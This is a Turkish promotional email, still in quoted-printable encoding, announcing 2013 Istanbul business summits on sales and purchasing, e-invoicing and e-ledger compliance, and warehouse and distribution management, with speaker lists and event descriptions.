=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09"Satınalma Bakış= =20 =09=09=09=09=09=09=09=09=09=09=09=09=09A=C3=A7ısıyla Satı= 51; - Satış Bakış=20 =09=09=09=09=09=09=09=09=09=09=09=09=09A=C3=A7ısıyla Satınal= ma"

=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 

=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09 =09=09=09 =09=09=09=09 =09=09=09 =09=09
=09=09=09=09

=09=09=09=0921 Eyl=C3= =BCl 2013 /=20 =09=09=09=0909.30-17.30
=09=09=09=09Wyndham Istanbul Kalamış Marina / Fenerbah=C3=A7e

=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 

=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Konuşmacılar:

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Cenk C=C3=BCneyt=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09TAŞ // Allianz=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Group, Mondial=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Assistance=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Turkey Satış,=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Pazar ve=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09İletişim=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Y=C3=B6netimi=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Direkt=C3=B6r=C3=BC
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Selda=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Y=C3=9CKSEKBAŞ //=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Satınalma=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Uzmanı,=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Satınalma=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Dergisi Yazarı
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- A.Faruk ŞENER=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09// Pazarlama=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Danışmanı, Y= azar
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Dr. Levent=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09S=C3=96NMEZ // Ko=C3=A7ak= =20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09İla=C3=A7 Pazarlama=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09ve Satış=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Direkt=C3=B6r=C3=BC
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Dr. Aydın=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Mustafa ERMURAT=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09// =C3=9Clker=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Pazarlama M=C3=BCd=C3=BCr= =C3=BC
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Filiz =C3=96ZEN //=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Digiturk=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Pazarlama ve=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09İdari Hizmet=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Alımları Birim=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Y=C3=B6neticisi
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Hakan G=C3=9CNER //=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Y=C3=B6netim=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Danışmanı,= =20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Eğitmen
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- H. =C3=87iğdem=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09YORGANCIOĞLU //=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Tedarik=C3=A7i,=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Denet=C3=A7i,=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09S=C3=B6zleşme=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09(Ticari) Risk &=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Kurumsal=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Danışmanı,= =20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Eğitmen
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Ahmet TEPEHAN=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09// Borusan=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Mannesmann Satış= =20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Profesyoneli
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Lale RONA //=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Y=C3=B6netim=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Danışmanı,= =20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Eğitmen, Yazar
<= /td> =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Gerek zorlu rekabet=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09koşulları, gerekse= =20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09m=C3=BCşterinin=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09bilin=C3=A7lenmesi satı&#= 351;=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09fonksiyonunun=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09yeniden=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09tariflenmesini şart=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09koştu. Satınalma ise= =20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09gelişen teknoloji=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=C3=A7ağıyla birlikt= e=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09evrim yaşadı. Sadece= =20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09satarken değil=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09satınalırken=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09kazanmak gibi=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09ilkeler t=C3=BCredi.
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Bir=C3=A7ok işletme=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09başarı i=C3=A7in sat= ış=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09odaklı hedefler ve=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09performansa dayalı=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09ekip y=C3=B6netimleri=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09uygulamaktadırlar.=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09G=C3=BCn=C3=BCm=C3=BCz d=C3=BC= nyasında=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09değişen koşulla= rın=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09etkisi ile “alırken= =20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09kazanma”nın da=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09işletmelerin karın&#= 305;=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09etkilediğini g=C3=B6ren= =20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09bazı y=C3=B6neticiler=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09satınalma=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09parametrelerini de=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09hedeflerine=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09koymaktadırlar. Kar=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09ve hedef=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09parametrelerini=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09doğru optimize eden,=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09satış ve satına= lma=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09platformlarını ayn&#= 305;=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09hedefe koşturan,=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09ortak sinerji=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09yaratan işletmeler=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09rekabet kulvarında=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09artık bir adım =C3= =B6nde=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09olacaklar....

=09=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09 =09=09=09 =09=09=09=09 =09=09=09 =09=09
=09=09=09=09

 

=09=09=09=09

=09=09=09=09Program= 5;mızda=20 =09=09=09=09Satış ve Satınalma profesyonellerini bir araya g= etirerek=20 =09=09=09=09profesyonel satış teknikleri ile stratejik satın= alma=20 =09=09=09=09kurallarının p=C3=BCf noktalarını birlikte = tartışacağız. Satınalma=20 =09=09=09=09bakışıyla satışı, Satış= bakışıyla satınalmayı g=C3=B6zlemleyeceğiz.= =20 =09=09=09=09Her iki tarafın perspektifleriyle doğru g=C3=B6z=C3= =BCken yanlışlara,=20 =09=09=09=09değişen trendlere, inovatif uygulamalara, pratik pota= nsiyellere=20 =09=09=09=09şahit olacağız.
=09=09=09=09
=09=09=09=09Satış, Satınalma, =C3=9Cretim ve Finans bir #= 1;irketin ana fonksiyonel=20 =09=09=09=09sahaları. Değer yaratmak ise her profesyonelin hedefi= . Satış=20 =09=09=09=09=C3=BCrettiğiniz =C3=BCr=C3=BCn ve/veya hizmetlerin m=C3= =BCşterilere sunumu demek.=20 =09=09=09=09Bunun i=C3=A7in satış departmanının elinde = satılacak mamul ve=20 =09=09=09=09hizmetlerin bulunması gerekli. Bu bağlamda =C3=BCreti= mle satış=20 =09=09=09=09arasındaki ilişkilerin ortaya =C3=A7ıkması = ka=C3=A7ınılmaz. =C3=9Cretim olmadan=20 =09=09=09=09satış olmaz. =C3=9Cretimi ger=C3=A7ekleştirebilm= ek i=C3=A7in ise elde hammadde,=20 =09=09=09=09malzeme ve par=C3=A7aların bulunması l=C3=BCzumludur.= Bu ise bizi =C3=BCretimle=20 =09=09=09=09satınalma departmanlarının ilişkilerine g= =C3=B6t=C3=BCr=C3=BCr ki satış ile=20 =09=09=09=09satınalmanın bir arada =C3=A7alışmasın= ın gerekliliğini g=C3=B6sterir.
=09=09=09=09
=09=09=09=09Yine son yıllarda sık=C3=A7a kullanılmaya ba#= 1;layan “Yalın =C3=9Cretim –=20 =09=09=09=09Lean Manufacturing” =C3=A7er=C3=A7evesi dahilinde ortaya = =C3=A7ıkan Just in=20 =09=09=09=09Time kavramı hem satış hem satınalma depart= manlarını yakından=20 =09=09=09=09ilgilendirmeye başlamıştır. Artık her = şey =C3=A7ok seri bir şekilde=20 =09=09=09=09tam zamanında ger=C3=A7ekleştirilmek durumundadı= r. Just in Time’ın=20 =09=09=09=09uygulamalarının bir neticesi olarak gerek hammadde ma= lzeme ve=20 =09=09=09=09gerekse par=C3=A7a stokları ile mamul stoklarında b= =C3=BCy=C3=BCk d=C3=BCş=C3=BCşler=20 =09=09=09=09kaydedilmekte ve neredeyse sıfır stokla =C3=A7alı= ;şılmaktadır. Hem=20 =09=09=09=09satınalma hem satış bu sisteme ayak uydurmak dur= umundadır. Bu=20 =09=09=09=09ise satışta ve satınalmada iş tariflerinin = yeniden g=C3=B6zden=20 =09=09=09=09ge=C3=A7irilmesini ve dizaynını ortaya =C3=A7ıka= rmaktadır. =C3=9Cretimde=20 =09=09=09=09hammadde ve malzemelerin maliyeti yerine g=C3=B6re %70’le= r=20 =09=09=09=09civarındadır. Demek ki hammadde malzeme ve par=C3=A7a= ların=20 =09=09=09=09satınalınması mamul maliyetlerini b=C3=BCy=C3=BC= k =C3=B6l=C3=A7=C3=BCde etkilemektedir.=20 =09=09=09=09Dolayısıyla “Maliyetleri D=C3=BCş=C3=BCrme= – Cost Reduction” projelerinde=20 =09=09=09=09ilk ele alınacak fonksiyonel sahalardan biridir.
=09=09=09=09
=09=09=09=09T=C3=BCm bu gelişmeler Satınalmacılarla Satı= ;cıların M=C3=BCştereken İlgi=20 =09=09=09=09Alanlarına Giren Fonksiyonel Sahalar.
=09=09=09=09
=09=09=09=09Yine satıcı ve satınalmacıların ayn= 05; dili konuşmaları,=20 =09=09=09=09dinlediklerinden kendilerince =C3=B6nemli olan Fiyat ve Talep= =20 =09=09=09=09unsurlarına yeni anlamlar katmaları ve birbirlerinin= =20 =09=09=09=09performanslarını geliştirmeleri modern y=C3=B6ne= timlerin=20 =09=09=09=09vazge=C3=A7ilmezleri arasında…
=09=09=09=09
=09=09=09=09İnsanlar; satıcılar, m=C3=BCşteriler, insan= lar, =C3=A7ocuklar, evli=20 =09=09=09=09=C3=A7iftler gibi geniş ve genel sınıflandı= rmalara t=C3=A2bi tutularak=20 =09=09=09=09muamele g=C3=B6rmekten hoşlanmazlar. Belirli ve benzersiz = “m=C3=BCşteri”=20 =09=09=09=09veya “=C3=A7ocuk” olarak algılanmak isterler. = “B=C3=BCt=C3=BCn m=C3=BCşteriler=20 =09=09=09=09aynıdır” diye d=C3=BCş=C3=BCnen bir firma = sahibi ifl=C3=A2s etmeye mahk=C3=BBmdur.=20 =09=09=09=09“B=C3=BCt=C3=BCn erkekler birbirine benzer” diye d= =C3=BCş=C3=BCnen bir kadın, b=C3=BCy=C3=BCk=20 =09=09=09=09bir ihtimalle =C3=B6mr=C3=BCn=C3=BCn geri kalanını ya= lnız ge=C3=A7irecektir.
=09=09=09=09
=09=09=09=09Hi=C3=A7 bir zaman, insanlarla iyi ge=C3=A7inmeyi =C3=B6ğr= enemezsiniz. =C3=87=C3=BCnk=C3=BC=20 =09=09=09=09“insanlar” diye bir yaratık yoktur. İnsan= lar soyut bir kavramdır=20 =09=09=09=09ve d=C3=BCnya tek tek bireylerle doludur. =C3=96ğrenmeniz = gereken, şu veya=20 =09=09=09=09bu kişi ile nasıl iyi ge=C3=A7ineceğinizdir. =C3= =96nemli olan, tek tek bu=20 =09=09=09=09kişilerle iyi ilişkiler i=C3=A7inde olabilmek ya da o= nlara nasıl=20 =09=09=09=09davranmanız gerektiğini bilmektir. Altın kural&#= 305; hatırlayın:=20 =09=09=09=09“Sana nasıl davranmalarını istiyorsan, ba&= #351;kalarına =C3=B6yle davran.”=20 =09=09=09=09=C3=87oğumuz bu mantıkla b=C3=BCy=C3=BCd=C3=BCk. Anca= k iş başkalarıyla ilişkiler=20 =09=09=09=09kurmaya gelince, bu kuralı ş=C3=B6yle değiş= tirmeliyiz: “Başkalarına=20 =09=09=09=09senden kendilerine davranmanı istedikleri gibi davran.R= 21;
=09=09=09=09
=09=09=09=09Her g=C3=BCn bir=C3=A7ok insanla karşılaşıy= oruz. Bunların farklı=20 =09=09=09=09kişilikleri ve buna bağlı olarak da farklı = ihtiya=C3=A7 ve arzuları=20 =09=09=09=09vardır. Programda değişik kişiliklerin bir = insan olarak bazı=20 =09=09=09=09=C3=B6zelliklerinden, değişik kişilikteki insanl= arın m=C3=BCşteri ve=20 =09=09=09=09satıcı olarak sergiledikleri bazı belirgin davra= nışlar ve bu=20 =09=09=09=09konuda nasıl davranmamız gerektiği konusunda da = bilgiler=20 =09=09=09=09paylaşılacaktır.
=09=09=09=09
=09=09=09=09Zirvemizde satınalan ve satan profesyoneller, birbirlerini= ,=20 =09=09=09=09=C3=BCzerlerinde fiyat baskısı olmadan, bir m=C3=BCza= kere i=C3=A7erisine=20 =09=09=09=09girmeden tanıyacaklar ve başarılı organizas= yonların=20 =09=09=09=09gerektirdiklerini teşhis edip kendi s=C3=BCre=C3=A7lerine = daha objektif ve=20 =09=09=09=09b=C3=BCt=C3=BCnsel bir bakış a=C3=A7ısıyla = neleri entegre edebileceklerine=20 =09=09=09=09karar vereceklerdir.

=09=09=09=09

 

=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09=09

 

=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09E-FATURA ve

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09E-DEFTER
=09=09=09=09=09=09=09=09=09=09=09=09=09UYGULAMALARI ZİRVESİ
=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09"T=C3=BCm Boyutlarıyla Mev= zuata=20 =09=09=09=09=09=09=09=09=09=09=09=09=09Uyum S=C3=BCreci, Yaşanan=20 =09=09=09=09=09=09=09=09=09=09=09=09=09Gelişmeler, Y=C3=BCk=C3=BCml=C3= =BCl=C3=BCkler,=20 =09=09=09=09=09=09=09=09=09=09=09=09=09Karşılaşılabilec= ek Sorun ve=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=C3=87=C3=B6z=C3=BCm =C3=96nerileri = ile Teknik,=20 =09=09=09=09=09=09=09=09=09=09=09=09=09B=C3=BCrokratik, Vergi ve=20 =09=09=09=09=09=09=09=09=09=09=09=09=09Hukuksal Kriterler"

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 

=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09 =09=09=09 =09=09=09=09 =09=09=09 =09=09
=09=09=09=09

=09=09=09=0921 Eyl=C3= =BCl 2013 /=20 =09=09=09=0909.30-17.30
=09=09=09=09Le Meridien Otel Etiler - İstanbul

=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09 

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Konuşmacılar:
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Ahmet=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09TOSUNOĞLU //=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09İGDAŞ Bilgi=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Sistemleri=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09M=C3=BCd=C3=BCr=C3=BC, TBD= =20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09İstanbul Başkan&#= 305;
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Dr. Kerem=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09G=C3=9CNAY //=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09VODAFONE, Vergi=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Kıdemli M=C3=BCd=C3=BC= r=C3=BC
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Deniz TURAN //=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09BDO DENET, SMMM
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Levent KARADAĞ=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09// E-D=C3=B6n=C3=BCş= =C3=BCm=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Strateji Uzmanı,=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Zirve=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Koordinat=C3=B6r=C3=BC,=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09TBD Y=C3=B6netim=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Kurulu =C3=9Cyesi
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Mehmet=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09YILDIRIM // BDO=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09TURKEY, Ortak,=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09YMM
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Volkan ŞAHİN=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09// UYUMSOFT,=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09E-Fatura =C3=96zel=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Entegrat=C3=B6r=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Y=C3=B6neticisi
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Zeynep BEYHAN=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09// T=C3=9CRKKEP,=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09E-Fatura =C3=96zel=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Entegrat=C3=B6r=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Y=C3=B6neticisi
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- B=C3=BClent ŞAŞ= TI=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09// ING BANK,=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Uluslararası=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Nakit Y=C3=B6netimi=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09M=C3=BCd=C3=BCr=C3=BC

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09 

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=094. DEPO ve

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09DAĞITIM
=09=09=09=09=09=09=09=09=09=09=09=09=09MERKEZİ Y=C3=96NETİMİ= ZİRVESİ
=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09"Tedarik Zincirinde

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09Depo Y=C3=B6netim Sistemleri,
=09=09=09=09=09=09=09=09=09=09=09=09=09Uygulanabilir Teknolojiler
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09ve

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09Başarılı K=C3=BCresel= Modeller"

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 

=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09 =09=09=09 =09=09=09=09 =09=09=09 =09=09
=09=09=09=09

=09=09=09=095 Ekim 2013= /=20 =09=09=09=0909.30-17.30
=09=09=09=09Le Meridien Otel Etiler– İstanbul

=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09 

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Konuşmacılar:
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Atilla=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Yıldıztekin //=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Lojistik Y=C3=B6netim=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Danışmanı =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Nebil Esen //=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09MECALUX T=C3=BCrkiye=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Genel M=C3=BCd=C3=BCr=C3=BC=
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- =C3=87ağdaş Y&#= 305;ldız=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09// LA Software=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Group Genel=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09M=C3=BCd=C3=BCr Yardım= cısı
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Do=C3=A7. Dr. Alp=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=C3=9Cst=C3=BCndag //=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09İstanbul Teknik=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=C3=9Cniversitesi
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Dr. =C3=96mer Faruk=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09G=C3=B6r=C3=A7=C3=BCn // Ka= dir=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Has =C3=9Cniversitesi=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Lojistik B=C3=B6l=C3=BCm=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Başkanı
